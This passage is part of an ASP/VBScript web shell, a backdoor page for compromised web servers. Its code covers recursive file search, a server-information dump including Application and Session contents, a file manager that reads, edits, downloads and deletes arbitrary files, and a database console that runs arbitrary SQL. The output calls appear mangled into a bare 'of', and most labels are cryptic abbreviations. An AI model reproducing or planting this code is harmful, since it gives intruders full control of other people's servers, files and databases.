of "if(obj.value=='PageWebProxy')obj.form.target='_blank';"
of " obj.form.submit();obj.form.target='';"
of "}"
of "</script>"
End Sub
PageOther()
If pageName <> "" Then
IsIn()
TopMenu()
End If
Select Case pageName
Case "PageSearch"
PageSearch()
Case "PageCheck"
PageCheck()
Case "PageFso"
PageFso()
Case "PageDBTool"
PageDBTool()
Case "PageUpload"
PageUpload()
Case "PagePack"
PagePack()
Case "PageExecute"
PageExecute()
Case "PageWebProxy"
PageWebProxy()
Case "", "PageOut"
PageLogin()
End Select
Sub PageSearch()
Dim strKey, strPath
strKey = GetPost("Key")
Server.ScriptTimeout = 5000
If thePath = "" Then thePath = rootPath
ShowTitle("flieset")
SearchTable(strKey)
If theAct <> "" And strKey <> "" Then
SearchIt(strKey)
End If
End Sub
Sub SearchTable(strKey)
of "<table width=750 border=1>"
of "<form method=post action='" & url & "'>"
of "<input type=hidden value=PageSearch name=PageName>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> flieset(FSO)</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td> lj</td>"
of "<td> <input name=thePath type=text id=thePath value='"
of HtmlEncode(thePath)
of "' style='width:360px;'>"
of "</td>"
of "</tr>"
of "<tr>"
of "<td width='20%'> key</td>"
of "<td> <input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> "
of "<select name=theAct id=theAct>"
of "<option value=FileName selected>text</option>"
of "<option value=FileContent>texet</option>"
of "<option value=Both>and</option>"
of "</select>"
of " <input type=submit name=Submit value=boot> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</form>"
of "</table>"
End Sub
Sub SearchIt(key)
Dim strPath, theFolder
Response.Buffer = True
strPath = thePath
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " oerr")
End If
Set theFolder = fso.GetFolder(strPath)
of "<br/><div style='width:750;border:1px solid #d8d8f0;'>"
Select Case theAct
Case "Both"
Call SearchFolder(theFolder, key, 1)
Case "FileName"
Call SearchFolder(theFolder, key, 2)
Case "FileContent"
Call SearchFolder(theFolder, key, 3)
End Select
of "</div>"
Set theFolder = Nothing
End Sub
Sub SearchFolder(folder, key, flag)
Dim ext, title, theFile, theFolder
For Each theFile In folder.Files
ext = LCase(fso.GetExtensionName(theFile.Path))
If flag = 1 Or flag = 2 Then
If InStr(LCase(theFile.Name), LCase(key)) > 0 Then of FileLink(theFile, "")
End If
If flag = 1 Or flag = 3 Then
If Instr(EditableFileExt, "$" & ext & "$") > 0 Then
If SearchFile(theFile, key, title) Then of FileLink(theFile, title)
End If
End If
Next
Response.Flush()
For Each theFolder In folder.SubFolders
Call SearchFolder(theFolder, key, flag)
Next
end sub
Function SearchFile(f, s, title)
Dim theFile, content, pos1, pos2
If isDebugMode = False Then On Error Resume Next
Set theFile = fso.OpenTextFile(f.Path)
content = theFile.ReadAll()
theFile.Close
Set theFile = Nothing
If Err Then
Err.Clear
End If
SearchFile = InStr(1, content, s, 1)
If SearchFile > 0 Then
pos1 = InStr(1, content, "<TITLE>", 1)
pos2 = InStr(1, content, "</TITLE>", 1)
title = ""
If pos1 > 0 And pos2 > 0 Then
title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
End If
End If
End Function
Function FileLink(file, title)
fileLink = file.Path
If title = "" Then
title = file.Name
End If
fileLink = " <font color=ff0000>" & title & "</font> " & fileLink & "<br/>"
End Function
Sub PageCheck()
ShowTitle("xx")
InfoCheck()
If theAct <> "" Then
GetAppOrSession(theAct)
End If
ObjCheck()
End Sub
Sub InfoCheck()
Dim aryCheck(6)
If isDebugMode = False Then On Error Resume Next
aryCheck(0) = Server.ScriptTimeOut() & "(s)"
aryCheck(1) = FormatDateTime(Now(), 0)
aryCheck(2) = Request.ServerVariables("SERVER_NAME")
aryCheck(2) = aryCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR")
aryCheck(2) = aryCheck(2) & ":" & Request.ServerVariables("SERVER_PORT")
aryCheck(3) = Request.ServerVariables("OS")
aryCheck(3) = IIf(aryCheck(3) = "", "Windows2003", aryCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE")
aryCheck(3) = aryCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
aryCheck(4) = rootPath & ", " & GetTheSize(fso.GetFolder(rootPath).Size)
aryCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "<br />"
aryCheck(5) = aryCheck(5) & " Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url")
aryCheck(6) = "sl: " & Application.Contents.Count() & "(<a href=javascript:locate('app');>Application</a>),"
aryCheck(6) = aryCheck(6) & " hh: " & Session.Contents.Count & "(<a href=javascript:locate('session');>Session</a>),"
aryCheck(6) = aryCheck(6) & " hhID: " & Session.SessionId()
of "<table width=750 border=1>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> xx"
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr class=td>"
of "<td width='20%'> name</td>"
of "<td> z</td>"
of "</tr>"
of "<tr>"
of "<td> cs</td>"
of "<td> "&aryCheck(0)&"</td>"
of "</tr>"
of "<tr>"
of "<td> data</td>"
of "<td> "&aryCheck(1)&"</td>"
of "</tr>"
of "<tr>"
of "<td> fwname</td>"
of "<td> "&aryCheck(2)&"</td>"
of "</tr>"
of "<tr>"
of "<td> hj</td>"
of "<td> "&aryCheck(3)&"</td>"
of "</tr>"
of "<tr>"
of "<td> ml</td>"
of "<td> "&aryCheck(4)&"</td>"
of "</tr>"
of "<tr>"
of "<td> lj</td>"
of "<td> "&aryCheck(5)&"</td>"
of "</tr>"
of "<tr>"
of "<td> qt</td>"
of "<td> "&aryCheck(6)&"</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</table>"
End Sub
Sub ObjCheck()
Dim aryObj(19)
Dim x, objTmp, theObj, strObj
If isDebugMode = False Then On Error Resume Next
strObj = Trim(getPost("TheObj"))
of "<br/>"
For Each x In aryObj
theObj = Split(x, "|")
If theObj(0) = "" Then Exit For
Set objTmp = Server.CreateObject(theObj(0))
If Err <> -2147221005 Then
x = x & "|√|"
x = x & objTmp.Version
Else
x = x & "|<font color=red>×</font>|"
End If
If Err Then Err.Clear
Set objTmp = Nothing
theObj = Split(x, "|")
theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "")
of "<tr>"
of "<td> " & theObj(1) & "</td>"
of "<td align=center>" & theObj(2) & "</td>"
of "<td align=center>" & theObj(3) & "</td>"
of "</tr>"
Next
End Sub
Sub GetAppOrSession(theAct)
Dim x, y
If isDebugMode = False Then On Error Resume Next
of "<br/>"
of "<table width=750 border=1 class=fixTable>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> Application/Session ck"
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr class=td>"
of "<td width='20%'> bl</td>"
of "<td> z</td>"
of "</tr>"
If theAct = "app" Then
For Each x In Application.Contents
of "<tr><td valign=top>"
of " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
of "</td><td style='padding-left:7px;'><span>"
If IsArray(Application(x)) = True Then
For Each y In Application(x)
of "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>"
Next
Else
of Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>")
End If
of "</span></td></tr>"
Next
End If
If theAct = "session" Then
For Each x In Session.Contents
of "<tr><td valign=top>"
of " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
of "</td><td style='padding-left:7px;'><span>"
of Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>")
of "</span></td></tr>"
Next
End If
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</table>"
End Sub
Sub PageFso()
ShowTitle("FSOzc")
Select Case theAct
Case "rename"
RenOne()
Case "download"
DownTheFile()
Response.End()
Case "del"
DelOne()
Case "newone"
NewOne()
Case "saveas"
SaveAs()
Case "save"
SaveToFile()
ShowEdit()
Response.End()
Case "showedit"
ShowEdit()
Response.End()
Case "showimage"
ShowImage()
Response.End()
Case "copy", "move"
MoveCopyOne()
End Select
If theAct <> "" Then thePath = GetPost("truePath")
FsoFileExplorer()
End Sub
Sub FsoFileExplorer()
Dim objX, theFolder, folderId, extName, parentFolderName
Dim strPath
If isDebugMode = False Then On Error Resume Next
If thePath = "" Then thePath = rootPath
strPath = thePath
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " oerr")
End If
Set theFolder = fso.GetFolder(strPath)
parentFolderName = fso.GetParentFolderName(strPath) & "\"
of "<table width=750 border=1>"
of "<form method=post action='" & url & "'>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> FSOck"
of "</tr>"
of "<tr><td colspan=2 class=trHead> </td></tr>"
of "<tr>"
of "<td colspan=2> "
of "url: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>"
of "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>"
of " <input type=button value='boot' onclick=Command('submit');>"
of " <input type=button value=up onclick=Command('upload')>"
of "</td>"
of "</tr>"
of "<tr><td colspan=2 class=trHead> </td></tr>"
of "<tr><td valign=top>"
of "<input type=hidden name=theAct>"
of "<input type=hidden name=param>"
of "<input type=hidden value=PageFso name=PageName>"
of "<table width='99%' align=center>"
of "<tr><td colspan=4 class=trHead> </td></tr><tr class=td><td>"
If parentFolderName <> "\" Then
folderId = Replace(parentFolderName, "\", "\\")
of " <a href=""javascript:changeThePath("" & folderId & "");"">↑</a>"
End If
of "</td><td align=center width=80>大小</td>"
of "<td align=center width=140>xg</td><td align=center>ok</td></tr>"
For Each objX In theFolder.SubFolders
folderId = Replace(objX.Path, "\", "\\")
of "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>■</font>"
of "<span class=fixSpan style='width:180;'>"
of "<a href=""javascript:changeThePath("" & folderId & "");"">"& objX.Name & "</a></span>"
of "</td>"
of "<td align=center>-</td>"
of "<td align=center>" & objX.DateLastModified & "</td><td>"
of "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
of "<input type=button onclick=""Command('rename',"" & objX.Name & "");"" value='Ren' title=mingming>"
of "<input type=button value='SaveAs' title=cc onclick=""Command('saveas',"" & Replace(objX.Path, "\", "\\") & "")"">"
of "</td></tr>"
Next
For Each objX In theFolder.Files
If Left(objX.Path, Len(rootPath)) <> rootPath Then
folderId = ""
Else
folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20")
End If
of "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>□</font>"
of "<span class=fixSpan style='width:180;'>"
If folderId = "" Then
of objX.Name
Else
of "<a href='" & Replace(folderId, "%5C", "/") & "' target=_blank>" & objX.Name & "</a>"
End If
of "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>"
of "<td align=center>" & objX.DateLastModified & "</td><td>"
of "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
extName = LCase(fso.GetExtensionName(objX.Path))
If InStr(editableFileExt, "$" & extName & "$") > 0 Then
of "<input type=button value='Edit' title=bj onclick=""Command('showedit',"" & objX.Name & "");"">"
End If
If InStr(imageFileExt, "$" & extName & "$") > 0 Then
of "<input type=button value='View' title=pic onclick=""Command('showimage',"" & objX.Name & "");"">"
End If
If extName = "mdb" Then
of "<input type=button value='Access' title=data onclick=Command('access',""" & objX.Name & """)>"
End If
of "<input type=button value='D' title=xz onclick=""Command('download',"" & objX.Name & "")"">"
of "<input type=button value='Ren' title=mm onclick=""Command('rename',"" & objX.Name & "")"">"
of "<input type=button value='S' title=nc onclick=""Command('saveas',"" & Replace(objX.Path, "\", "\\") & "")"">"
of "</td></tr>"
Next
of "<tr class=td><td colspan=3></td>"
of "<td><input type=checkbox name=checkAll onclick=checkAllBox(this);>"
of "<input type=button value='Delete' onclick=Command('del')>"
of "<input type=button value='Pack' title=fiel onclick=Command('pack')>"
of "</td></tr></table>"
of "</td><td width='20%' valign=top align=center>"
of "<input type=button value=sx onclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>"
of "<input type=button value=xj onclick=Command('newone','file')><br/>"
of "<input type=button value=xjfile onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>"
of "ydfile<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='yd' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
of "cpoyfile<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='cpoy' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
of "</td></tr><tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</form>"
of "</table>"
Set theFolder = Nothing
End Sub
Sub RenOne()
Dim objX, strPath, aryParam, isFile, isFolder
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\"
aryParam(0) = strPath & aryParam(0)
isFile = fso.FileExists(aryParam(0))
isFolder = fso.FolderExists(aryParam(0))
If isFile = False And isFolder = False Then
ShowErr("oerr")
End If
If isFile = False Then
Set objX = fso.GetFolder(aryParam(0))
objX.Name = aryParam(1)
Else
Set objX = fso.GetFile(aryParam(0))
objX.Name = aryParam(1)
End If
Set objX = Nothing
ChkErr(Err)
End Sub
Sub DownTheFile()
Response.Clear
Dim stream, strPath, fileContentType
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(strPath)
ChkErr(Err)
Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param")
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "Application/Octet-Stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
End Sub
Sub DelOne()
Dim objX, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\"
For Each objX In Request.Form("checkBox")
If fso.FolderExists(strPath & objX) = True Then
Call fso.DeleteFolder(strPath & objX, True)
ChkErr(Err)
Else
If fso.FileExists(strPath & objX) = True Then
Call fso.DeleteFile(strPath & objX, True)
ChkErr(Err)
End If
End If
Next
End Sub
Sub MoveCopyOne()
Dim objX, strPath, strMoveTo, strCopyTo
If isDebugMode = False Then On Error Resume Next
strMoveTo = GetPost("MoveTo")
strCopyTo = GetPost("CopyTo")
strPath = GetPost("truePath") & "\"
If theAct = "move" Then
strMoveTo = strMoveTo & "\"
Else
strCopyTo = strCopyTo & "\"
End If
For Each objX In Request.Form("checkBox")
If theAct = "move" Then
If InStr(strMoveTo, strPath & objX) > 0 Then
ShowErr("oerr")
End If
If fso.FileExists(strPath & objX) = True Then
Call fso.MoveFile(strPath & objX, strMoveTo & objX)
Else
Call fso.MoveFolder(strPath & objX, strMoveTo & objX)
End If
Else
If InStr(strCopyTo, strPath & objX) > 0 Then
ShowErr("oerr")
End If
If fso.FileExists(strPath & objX) = True Then
Call fso.CopyFile(strPath & objX, strCopyTo & objX)
Else
Call fso.CopyFolder(strPath & objX, strCopyTo & objX)
End If
End If
ChkErr(Err)
Next
End Sub
Sub NewOne()
Dim objX, strPath, aryParam
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\" & aryParam(0)
If aryParam(1) = "file" Then
Call fso.CreateTextFile(strPath, False)
Else
fso.CreateFolder(strPath)
End If
End Sub
Sub ShowEdit()
Dim theFile, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1)
Set theFile = fso.OpenTextFile(strPath, 1, False)
ChkErr(Err)
of "<table width=750 height=100% border=0 cellpadding=0 cellspacing=0>"
of "<tr>"
of "<td class=td><font face=webdings>8</font> FSO</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<form method=post action=" & url & ">"
of "<input type=hidden name=theAct>"
of "<input type=hidden value=PageFso name=PageName>"
of "<tr>"
of "<td height=22> <input name=truePath value=""" & strPath & """ style=width:500px;>"
of "<input type=submit value=ck onClick=this.form.theAct.value='showedit';></td>"
of "</tr>"
of "<tr>"
of "<td> <textarea name=fileContent style='width:735px;height:100%;'>"
of HtmlEncode(theFile.ReadAll())
of "</textarea></td>"
of "</tr>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td class=td align=center><input type=button name=Submit value=bc onClick=""if(confirm('qr?')){this.form.theAct.value='save';this.form.submit();}"">"
of "<input type=reset value=cz><input type=button onclick=window.close(); value=off>"
of "<input type=button value=ll onclick=preView('1'); title='htm'></td>"
of "</tr>"
of "</form>"
of "</table>"
Set theFile = Nothing
End Sub
Sub SaveToFile()
Dim theFile, strPath, fileContent
If isDebugMode = False Then On Error Resume Next
fileContent = GetPost("fileContent")
strPath = GetPost("truePath")
Set theFile = fso.OpenTextFile(strPath, 2, True)
theFile.Write fileContent
theFile.Close
ChkErr(Err)
Set theFile = Nothing
End Sub
Sub SaveAs()
Dim strPath, aryParam, isFile
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
aryParam(0) = aryParam(0)
aryParam(1) = aryParam(1)
isFile = fso.FileExists(aryParam(0))
If isFile = True Then
fso.CopyFile aryParam(0), aryParam(1), False
Else
fso.CopyFolder aryParam(0), aryParam(1), False
End If
ChkErr(Err)
End Sub
Sub ShowImage()
Dim stream, strPath, fileContentType
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(strPath)
ChkErr(Err)
Response.Clear
Response.BinaryWrite stream.Read
stream.Close
Set stream = Nothing
End Sub
Sub PageDBTool()
ShowTitle("Access + SQL Server ")
of "<form method=post action=""" & url & """>"
If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then
SqlShowEdit()
of "</form>"
Response.End()
End If
ShowDBTool()
Select Case theAct
Case "Query"
ShowQuery()
Case "ShowTables"
ShowTables()
End Select
of "</form>"
End Sub
Sub ShowDBTool()
of "<table width=750>"
of "<input type=hidden value=PageDBTool name=PageName>"
of "<input type=hidden name=theAct>"
of "<input type=hidden name=param>"
of "<tr>"
of "<td class=td> Access + SQL Server </td>"
of "</tr>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td height=50 align=center>"
of "<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=60>"
of "</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td align=center class=td>"
of "<input type=submit name=Submit value=tj onclick=""this.form.theAct.value='ShowTables';"">"
of "<input type=button value=MDB onclick=""this.form.thePath.value='DataSource;UserName;PassWord;';"">"
of "<input type=button value=SQL onclick=""this.form.thePath.value='sql:Provider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=PassWord;Database=Pubs;';"">"
of "<input type=reset value=cz>"
of "</td>"
of "</tr>"
of "</table>"
End Sub
Sub ShowTables()
Dim Cat, objTable, objColumn, intColSpan, objSchema
If isDebugMode = False Then On Error Resume Next
of "<br/><table width=750>"
of "<tr>"
of "<td class=td colspan=2><font face=webdings>8</font> jgck</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
CreateConn()
Set Cat = Server.CreateObject("ADOX.Catalog")
Cat.ActiveConnection = conn.ConnectionString
of "<tr><td width='20%' valign=top>"
For Each objTable In Cat.Tables
of "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
of "style='width:94%;padding-left:8px;cursor:hand;'>" & objTable.Name & "</span>"
Next
of "</td><td>"
intColSpan = IIf(isSqlServer = True, "4", "6")
For Each objTable In Cat.Tables
of "<table width=98% align=center>"
of "<tr>"
of "<td class=trHead colspan=" & intColSpan & "> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=" & intColSpan & " class=td> <strong>"
of objTable.Name & "</strong></td>"
of "</tr>"
of "<tr align=center>"
of "<td align=left width=*> lm</td>"
of "<td width=80>lx</td>"
of "<td width=60>dx</td>"
of "<td width=60>sf</td>"
If isSqlServer = False Then
of "<td width=50>mr</td>"
of "<td width=100>ms</td>"
End If
of "</tr>"
For Each objColumn In Cat.Tables(objTable.Name).Columns
of "<tr align=center>"
of "<td align=left><span style='width:98%;padding-left:5px;'>" & objColumn.Name & "</a></td>"
of "<td>" & GetDataType(objColumn.Type) & "</td>"
If objColumn.DefinedSize <> 0 Then
of "<td>" & objColumn.DefinedSize & "</td>"
Else
of "<td>" & IIf(objColumn.Precision <> 0, objColumn.Precision, " ") & "</td>"
End If
of "<td>" & IIf(objColumn.Attributes = 1, "False", "True") & "</td>"
If isSqlServer = False Then
of "<td><span class=fixSpan style='width:40px;padding-left:5px;' title=""" & HtmlEncode(objColumn.Properties("Default").value) & """>"
of HtmlEncode(objColumn.Properties("Default").value) & "</span></td>"
of "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title=""" & objColumn.Properties("Description") & """>"
of objColumn.Properties("Description") & "</span></td>"
End If
of "</tr>"
Next
of "<tr>"
of "<td colspan=" & intColSpan & " class=td> </td>"
of "</tr>"
of "</table><br/>"
Next
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=td align=right> </td>"
of "</tr>"
of "</table>"
Set Cat = Nothing
DestoryConn()
End Sub
Sub ShowQuery()
Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey
If isDebugMode = False Then On Error Resume Next
sql = GetPost("sql")
strParam = GetPost("param")
strTable = GetPost("theTable")
Set rs = Server.CreateObject("Adodb.RecordSet")
If IsNumeric(strParam) = True Then
intPage = strParam
Else
intPage = 1
strTable = strParam
sql = ""
End If
If sql = "" Then
sql = "Select * From [" & strTable & "]"
End If
For i = 1 To Request.Form("KeyWord").Count
If Request.Form("KeyWord")(i) <> "" Then
sqlC = Replace(Request.Form("KeyWord")(i), "'", "''")
sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC)
sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i)
End If
Next
If sqlB <> "" Then
sql = "Select * From [" & strTable & "] Where " & sqlB
If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4)
If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5)
End If
of "<input type=hidden name=sql value=""" & HtmlEncode(sql) & """>"
of "<textarea name=sqlB rows=1 style='width:647px;'>" & HtmlEncode(sql) & "</textarea>"
of " <input type=button value=zx onclick=""this.form.sql.value=this.form.sqlB.value;Command('Query','0');"">"
of "<input type=button value=- onclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'>"
of "<input type=button value=+ onclick='this.form.sqlB.rows+=3;'>"
of "<input type=hidden name=theTable value=""" & HtmlEncode(strTable) & """>"
of "<br/><table width=750>"
of "<tr>"
of "<td class=td colspan=2><font face=webdings>8</font> SQLcx</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
CreateConn()
Set Cat = Server.CreateObject("ADOX.Catalog")
Cat.ActiveConnection = conn.ConnectionString
of "<tr><td width='20%' valign=top>"
For Each objTable In Cat.Tables
of "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
of "style='width:94%;padding-left:8px;cursor:hand;'>"
If strTable = objTable.Name Then
of "<u>" & objTable.Name & "</u>"
Else
of objTable.Name
End If
of "</span>"
Next
of "</td><td valign=top>"
If LCase(Left(sql, 7)) = "select " Then
rs.Open sql, conn, 1, 1
ChkErr(Err)
rs.PageSize = PageSize
If Not rs.Eof Then
rs.AbsolutePage = intPage
End If
of "<div align=left><table border=1 width=490>"
of "<tr>"
of "<td height=22 class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td height=22 class=td width=100> cx</td>"
of "</tr><tr><td align=center>"
of "<div><select name=Fields>"
For Each x In rs.Fields
of "<option value=""" & x.Name & """>" & x.Name & "</option>"
Next
of "</select>"
of "<select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select>"
of "<input name=KeyWord style='width:200px;'>"
of "<select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> "
of "<input type=button value=+ onclick=""this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"">"
of "<input type=button value=- onclick=""this.parentElement.outerHTML='';""></div> "
of "<input type=button value=cx onclick=this.form.sql.value='';this.form.param.value='1';this.form.theAct.value='Query';this.form.submit();>"
of "</td></tr>"
of "<tr><td class=td> </td></tr>"
of "</table></div><br/>"
If rs.Fields.Count > 0 Then
strPrimaryKey = GetPrimaryKey(strTable)
of "<table border=1 align=left cellpadding=0 cellspacing=0>"
of "<tr>"
of "<td height=22 class=trHead colspan=" & rs.Fields.Count + 1 & "> </td>"
of "</tr>"
of "<tr>"
of "<td height=22 class=td width=100 align=center>cz</td>"
For j = 0 To rs.Fields.Count - 1
of "<td height=22 class=td width=130><span class=fixSpan title='" & rs.Fields(j).Name & "' style='width:125px;padding-left:5px;'>" & rs.Fields(j).Name & "</span></td>"
Next
For i = 1 To rs.PageSize
If rs.Eof Then Exit For
of "</tr>"
of "<tr valign=top>"
of "<td height=22 align=center>"
If strPrimaryKey <> "" Then
of "<input type=button value=bj title='bj/tj' onclick=showSqlEdit('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');>"
of "<input type=button value=del onclick=sqlDelete('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');></td>"
Else
of "<input type=button value=bj title='bj/tj' onclick=alert('oerr');showSqlEdit('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');>"
of "<input type=button value=del onclick=alert('oerr');sqlDelete('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');></td>"
End If
For j = 0 To rs.Fields.Count - 1
of "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "</span></td>"
Next
of "</tr>"
rs.MoveNext
Next
End If
of "<tr>"
of "<td height=22 class=td colspan=" & rs.Fields.Count + 1 & "> Page: "
For i = 1 To rs.PageCount
If i > maxPageCount Then
of "..."
Exit For
End If
of Replace("<a href=javascript:Command('Query','" & i & "');><font {$font" & i & "}>" & i & "</font></a> ", "{$font" & intPage & "}", " color=red")
Next
of "</td></tr></table>"
rs.Close
Else
conn.Execute(sql)
ChkErr(Err)
of "<script>alert('h.\nh.');history.back();</script>"
Set rs = Nothing
Set Cat = Nothing
DestoryConn()
Exit Sub
End If
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=td align=right> </td>"
of "</tr>"
of "</table>"
Set rs = Nothing
Set Cat = Nothing
DestoryConn()
End Sub
Sub SqlShowEdit()
Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables
Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey
If isDebugMode = False Then On Error Resume Next
sql = GetPost("sql")
strParam = GetPost("param")
strTable = GetPost("theTable")
intI = InStr(strParam, "!")
intFindI = InStr(LCase(sql), " where")
intFindJ = InStrRev(LCase(sql), "order ")
intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0")
strValue = Mid(strParam, intI + 1)
strColumn = Left(strParam, intI - 1)
strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", ""))
If intFindJ > 0 Then sql = Left(sql, intFindJ - 1)
If intFindI > 0 Then
strJoinTag = ") And "
sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6)
Else
strJoinTag = " Where "
End If
If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", ""))
CreateConn()
strPrimaryKey = GetPrimaryKey(strTable)
Set rs = Server.CreateObject("Adodb.RecordSet")
If strExtra <> "" And IsNumeric(strValue) = True Then
sql = "Select Top 1" & Mid(sql, 7) & strJoinTag
sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc")
Else
sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
End If
intFindM = InStr(LCase(sql), "from")
intFindI = InStr(LCase(sql), " where")
intFindL = InStr(intFindM, LCase(sql), ",", 1)
If intFindL > 0 Then
If (intFindL > intFindM) And (intFindL < intFindI) Then
multiTables = True
End If
End If
If theAct <> "edit" Then
rs.Open sql, conn, 1, 3
ChkErr(Err)
If rs.Eof Then
of "<script>alert('oerr!');history.back();</script>"
Response.End()
End If
If theAct = "new" Then rs.AddNew
